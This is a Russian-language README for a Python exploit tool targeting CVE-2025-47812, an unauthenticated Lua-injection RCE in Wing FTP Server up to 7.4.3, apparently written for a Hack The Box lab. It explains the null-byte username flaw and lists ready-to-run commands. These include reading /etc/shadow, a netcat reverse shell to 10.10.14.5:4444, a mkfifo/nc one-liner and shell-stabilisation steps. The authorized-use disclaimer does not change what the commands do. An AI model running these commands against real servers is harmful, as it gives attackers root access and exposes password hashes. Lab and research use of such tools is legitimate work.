
CVE-2025-47812 Poc для wingdata HTB
Эксплойт на Python для неавторизованного RCE через внедрение Lua в Wing FTP Server ≤ 7.4.3. Предназначен для доставки оболочки — одна команда от check до работающего обратного вызова netcat.
Написан некоторое время назад для лаборатории wingData на HTB и теперь опубликован. Используйте только против систем, которыми вы владеете или имеете письменное разрешение на тестирование.
Функция c_CheckUser() в Wing FTP обрезает username до первого нулевого байта для аутентификации, но при создании сессии записывает полное неочищенное имя пользователя в файл сессии Lua. Внедрите anonymous%00]]<lua>--, и сервер с радостью запишет ваш Lua-код в сессию. Обращение к любой аутентифицированной конечной точке ( работает) загружает этот файл сессии через → , выполняя внедренный код от имени / .
dir.htmlloadfile()f()rootSYSTEMЗатронутые версии: Wing FTP Server ≤ 7.4.3. Исправлено в 7.4.4.
pip install requests
Вот и всё — никаких других зависимостей.
# 1. Проверка уязвимости цели (выполняет `id` и проверяет наличие `uid=`)
python3 exploit.py -u http://target:5466/ check
# 2. Одиночная команда — захватывает stdout И stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"
# 3. Реверсивная оболочка (простой путь)
# Терминал 1:
nc -lvnp 4444
# Терминал 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444
# 4. Отсоединенный произвольный payload — запустил и забыл. Полезно, когда нет bash:
python3 exploit.py -u http://target:5466/ detached \
"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"
| Флаг | По умолчанию | Назначение |
|---|---|---|
-u, --url | обязательный | Базовый URL цели — Wing FTP обычно слушает на :5466 (HTTP) или :5467 (HTTPS). |
-U, --username | anonymous | Имя пользователя до нулевого байта. Anonymous работает на установках по умолчанию. |
-P, --password | пусто | Пароль для POST-запроса внедрения. Пустой подходит для anonymous. |
-v, --verbose | выкл | Выводит Lua-полезную нагрузку, посещенные URL и исходное тело ответа. |
http://target:5466/login.html в браузере, прежде чем считать URL неверным.shell не возвращает обратный вызов, переключитесь на detached с payload через mkfifo выше. В некоторых минимальных образах Linux нет bash.python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter, Enter
export TERM=xterm
Только для образовательных целей и авторизованного тестирования безопасности. Вы несете ответственность за цели, на которые направляете этот инструмент.
MIT — см. LICENSE.